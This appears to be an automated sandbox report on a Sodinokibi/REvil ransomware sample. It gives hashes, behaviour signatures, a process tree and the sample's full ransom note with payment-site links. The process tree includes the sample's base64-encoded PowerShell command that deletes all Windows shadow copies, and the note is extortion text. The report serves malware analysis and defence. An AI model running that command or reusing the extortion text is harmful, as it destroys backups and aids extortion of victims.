Analysis

  • max time kernel
    122s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 00:55

General

  • Target

    da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe

  • Size

    183KB

  • MD5

    e7d37da33838e4f42a6f4c53529e547b

  • SHA1

    0ad890e173e3a785deead0ef9260f52477a39eb8

  • SHA256

    da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a

  • SHA512

    4b41dd537f15b885e00e015789af9923d5cad72ee19c98586da099e81cf0e93098ac0ddef8a1746ce0753dec0c8514a61f3fe7929495a2a254a4de3238684dd7

Score
10/10

Malware Config

Extracted

Path

C:\e9a1c02o97-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension e9a1c02o97. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D207F93CAC34D42E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/D207F93CAC34D42E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 58aKXNSe3wPpOQhrqHOj4S9kage7c0TpMrxOixrGxxgJkk38RSxscerSk6xPShdO b/LOoXJ93hp/pw2PgirVQiF8PgWvR0Vt4KWaiMYbI4r6s5Bj6FA1GFrmLffXsJ7Q 9RXv2FjZgMcysTO0x04G39Sebm6oHC24lwM6H7yG+RlehUZSWkCeYU6+Y59W+egd u7nh7vPTnzrCY/bIMhMgGleRr1xDH6uGXrZklE9oajlb9yR1iZmW2WcghGZKrEIp 9Yw3TMi7kOnC4dzs1XMIUkiK+2UHAzmmXn2MSBwSMwCXuIWgbJj8/IKpUt+8qPtk uHV7KCzRPj4GvWBoMrqm/ZiZ/pDWyCTwei2OIdfaIMiU6+wbXc2LqPybidqRBZXp 8BEYtQG/6X6A28gdlbu+AOwAW5V0WiHkqUu5ZLIzT586M31AWx05JUXnDhjn0O0P Xy8rmB2Fk8OLWfIJ7I+ggy52tX5PA0TEHmQVns4YSgjC2CuLS2rIqOHlTAdlHTzw g5mO7RP4s0U32uYaQ7/Y3RYliCaFncs8TQHpX27+g4+A5OwJ59npEb766sFX11Ik thQSol2BJIchXTCxOxuuyi6imPctqjdpDvRYyCWpvniqBi/8pPgxexcTtKUH02yk 4NSzfJr5UmxvBINxgdcGbLjPxOXIMr+efb2ZXzLBhvEt8NlnSgryTjLbPU4aoVB/ CRU/GR6HL+zqMAlhGgIm2gd6D+fbVQ/2GptqTU4SQhGOEbB6+Li/7SMuYIOtk6gm oFkIE+9FI7mCEmKjlTUf9rpZvGH7TenvlDB2ql+ZkwCvrSVGcmUaFqOhNCFYmeG/ UuEm2W34fNJnxRPDGX1xqRnUvVp+6eKXtuqQji08Lue7GsUK1TtVXTRdbyrCiOnT 0lvBzge1EgxxzSbBRKRM3yjjApAjgICVt7uT+LVt32ScZKpXeaKzNz1gwLc/uE4m TgXh78TiY+sT86m6jS+rGg7qFZGJ80qEvTliIR1XGPLk6TkHItpbM8qTTKwkkBZO xLHkijlMeLJE3XB2UYpovcc4nG0tSGp4bwbsxEjp2LTpDXkW+RH6HTyUzykJMpnr BUiuRUjTk5+5nCiBqzxKSOBPqekXA7upWjLzt5km84qG7LDe05uIEJ9/LM52s9zq NiXbu7WE0FMakAdUTwz1lfLI79ssSguAph2CC0mOG/3lDvJo05e0kgPLh05BHoWH GTvp6uNxMNkmMSp8kJv5s9Mf6osGQYXZoWpn7PuulWYPfLrgaJwkq8VoeMazN0kS 1zMRO2/59APX3wNVWadjsoFi5pM7ql/WegX5L4xZZ4o= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D207F93CAC34D42E

http://decryptor.cc/D207F93CAC34D42E

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 14 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe
    "C:\Users\Admin\AppData\Local\Temp\da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1916
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:532
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1804
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1792

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/532-55-0x000007FEFB8C1000-0x000007FEFB8C3000-memory.dmp
      Filesize

      8KB

    • memory/532-57-0x0000000002640000-0x0000000002642000-memory.dmp
      Filesize

      8KB

    • memory/532-58-0x0000000002642000-0x0000000002644000-memory.dmp
      Filesize

      8KB

    • memory/532-59-0x0000000002644000-0x0000000002647000-memory.dmp
      Filesize

      12KB

    • memory/532-56-0x000007FEF2B40000-0x000007FEF369D000-memory.dmp
      Filesize

      11.4MB

    • memory/532-60-0x000000000264B000-0x000000000266A000-memory.dmp
      Filesize

      124KB

    • memory/1916-54-0x0000000076041000-0x0000000076043000-memory.dmp
      Filesize

      8KB